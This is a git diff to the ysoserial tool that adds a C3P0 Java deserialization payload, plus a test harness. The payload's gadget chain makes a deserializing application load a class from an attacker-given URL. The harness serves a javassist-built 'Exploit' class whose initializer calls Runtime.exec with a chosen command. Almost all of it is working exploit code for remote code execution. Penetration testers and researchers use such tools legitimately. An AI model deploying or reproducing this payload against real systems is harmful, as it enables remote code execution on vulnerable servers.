diff --git a/pom.xml b/pom.xml index e8c32f9..66d97e2 100644 --- a/pom.xml +++ b/pom.xml @@ -74,6 +74,13 @@ 1.8.0 test + + org.nanohttpd + nanohttpd + 2.2.0 + test + + @@ -157,6 +164,11 @@ commons-fileupload 1.3 + + com.mchange + c3p0 + 0.9.5.2 + diff --git a/src/main/java/ysoserial/payloads/C3P0.java b/src/main/java/ysoserial/payloads/C3P0.java new file mode 100644 index 0000000..035a7fb --- /dev/null +++ b/src/main/java/ysoserial/payloads/C3P0.java @@ -0,0 +1,93 @@ +package ysoserial.payloads; + + +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; + +import ysoserial.PayloadTest; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * + * + * com.sun.jndi.rmi.registry.RegistryContext->lookup + * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject + * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject + * + * Arguments: + * - base_url:classname + * + * Yields: + * - Instantiation of remotely loaded class + * + * @author mbechler + * + */ +@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" ) +@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) +public class C3P0 implements ObjectPayload { + + public Object getObject ( String command ) throws Exception { + int sep = command.lastIndexOf(':'); + if ( sep < 0 ) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); + return b; + } + + + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private String className; + private String url; + /** + * @param className + * @param url + */ + public PoolSource ( String className, String url ) { + this.className = className; + this.url = url; + } + + public Reference getReference () throws NamingException { + return new Reference("exploit", this.className, this.url); + } + + public PrintWriter getLogWriter () throws SQLException {return null;} + public void setLogWriter ( PrintWriter out ) throws SQLException {} + public void setLoginTimeout ( int seconds ) throws SQLException {} + public int getLoginTimeout () throws SQLException {return 0;} + public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} + public PooledConnection getPooledConnection () throws SQLException {return null;} + public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} + + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(C3P0.class, args); + } + +} diff --git a/src/test/java/ysoserial/CustomPayloadArgs.java b/src/test/java/ysoserial/CustomPayloadArgs.java new file mode 100644 index 0000000..d8e8581 --- /dev/null +++ b/src/test/java/ysoserial/CustomPayloadArgs.java @@ -0,0 +1,19 @@ +/** + * © 2016 AgNO3 Gmbh & Co. KG + * All right reserved. + * + * Created: 05.03.2016 by mbechler + */ +package ysoserial; + + +/** + * @author mbechler + * + */ +public interface CustomPayloadArgs { + + + String getPayloadArgs (); + +} diff --git a/src/test/java/ysoserial/CustomTest.java b/src/test/java/ysoserial/CustomTest.java index 7bfe8c1..c3fac94 100644 --- a/src/test/java/ysoserial/CustomTest.java +++ b/src/test/java/ysoserial/CustomTest.java @@ -6,9 +6,7 @@ import java.util.concurrent.Callable; * @author mbechler * */ -public interface CustomTest { +public interface CustomTest extends CustomPayloadArgs { void run (Callable payload) throws Exception; - - String getPayloadArgs (); } diff --git a/src/test/java/ysoserial/WrappedTest.java b/src/test/java/ysoserial/WrappedTest.java index 945282c..7abce37 100644 --- a/src/test/java/ysoserial/WrappedTest.java +++ b/src/test/java/ysoserial/WrappedTest.java @@ -6,8 +6,8 @@ import java.util.concurrent.Callable; * @author mbechler * */ -public interface WrappedTest { +public interface WrappedTest extends CustomPayloadArgs { Callable createCallable ( Callable innerCallable ); - + } diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index 228fbc9..4513037 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -23,6 +23,7 @@ import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import org.junit.runners.Parameterized.Parameters; +import ysoserial.CustomPayloadArgs; import ysoserial.CustomTest; import ysoserial.Deserializer; import ysoserial.PayloadTest; @@ -91,17 +92,23 @@ public class PayloadsTest { } } + String payloadCommand = command; Object wrapper = null; if ( t != null && !t.harness().isEmpty() ) { - wrapper = Class.forName(t.harness()).newInstance(); + Class wrapperClass = Class.forName(t.harness()); + try { + wrapper = wrapperClass.getConstructor(String.class).newInstance(command); + } catch ( NoSuchMethodException e ) { + wrapper = wrapperClass.newInstance(); + } - if ( wrapper instanceof CustomTest ) { - command = ( (CustomTest) wrapper ).getPayloadArgs(); + if ( wrapper instanceof CustomPayloadArgs ) { + payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs(); } } ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); - final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command)); + final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand)); Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized); if ( wrapper instanceof WrappedTest ) { callable = ( (WrappedTest) wrapper ).createCallable(callable); @@ -119,9 +126,13 @@ public class PayloadsTest { catch ( Throwable e ) { // hopefully everything will reliably nest our ExecException Throwable innerEx = Throwables.getInnermostCause(e); + if ( ! ( innerEx instanceof ExecException ) ) { + innerEx.printStackTrace(); + } Assert.assertEquals(ExecException.class, innerEx.getClass()); Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd()); } + Assert.assertEquals(Arrays.asList(command), sm.getCmds()); } @@ -171,11 +182,11 @@ public class PayloadsTest { /** * @param payloadClass * @return - * @throws SecurityException - * @throws NoSuchMethodException - * @throws InvocationTargetException - * @throws IllegalArgumentException - * @throws IllegalAccessException + * @throws SecurityException + * @throws NoSuchMethodException + * @throws InvocationTargetException + * @throws IllegalArgumentException + * @throws IllegalAccessException */ private static String[] buildDeps ( final Class> payloadClass ) throws Exception { String[] baseDeps; diff --git a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java new file mode 100644 index 0000000..5768ff5 --- /dev/null +++ b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java @@ -0,0 +1,143 @@ +/** + * © 2016 AgNO3 Gmbh & Co. KG + * All right reserved. + * + * Created: 05.03.2016 by mbechler + */ +package ysoserial.payloads; + + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.util.Random; +import java.util.concurrent.Callable; + +import fi.iki.elonen.NanoHTTPD; +import fi.iki.elonen.NanoHTTPD.Response.Status; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import ysoserial.WrappedTest; + + +/** + * @author mbechler + * + */ +public class RemoteClassLoadingTest implements WrappedTest { + + private int port; + private String command; + + + /** + * + */ + public RemoteClassLoadingTest ( String command ) { + this.command = command; + this.port = new Random().nextInt(65535-1024)+1024; + } + + + /** + * {@inheritDoc} + * + * @see ysoserial.WrappedTest#getPayloadArgs() + */ + public String getPayloadArgs () { + return String.format("http://localhost:%d/", this.port) + ":Exploit"; + } + + + /** + * {@inheritDoc} + * + * @see ysoserial.WrappedTest#createCallable(java.util.concurrent.Callable) + */ + public Callable createCallable ( Callable innerCallable ) { + return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable); + } + + + private byte[] makePayloadClass () { + try { + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Exploit.class)); + final CtClass clazz = pool.get(Exploit.class.getName()); + clazz.setName("Exploit"); + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); + return clazz.toBytecode(); + } + catch ( Exception e ) { + e.printStackTrace(); + return new byte[0]; + } + } + + static final class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable { + + private Callable innerCallable; + private byte[] data; + + + /** + * @param innerCallable + */ + public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable innerCallable ) { + super(port); + this.data = data; + this.innerCallable = innerCallable; + + } + + + /** + * {@inheritDoc} + * + * @see java.util.concurrent.Callable#call() + */ + public Object call () throws Exception { + try { + setup(); + return this.innerCallable.call(); + } + finally { + cleanup(); + } + + } + + + /** + * @throws IOException + * + */ + private void setup () throws IOException { + start(NanoHTTPD.SOCKET_READ_TIMEOUT, false); + } + + + /** + * + */ + private void cleanup () { + stop(); + } + + + /** + * {@inheritDoc} + * + * @see fi.iki.elonen.NanoHTTPD#serve(fi.iki.elonen.NanoHTTPD.IHTTPSession) + */ + @Override + public Response serve ( IHTTPSession sess ) { + return newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length); + } + + } + + private static class Exploit { + + } +}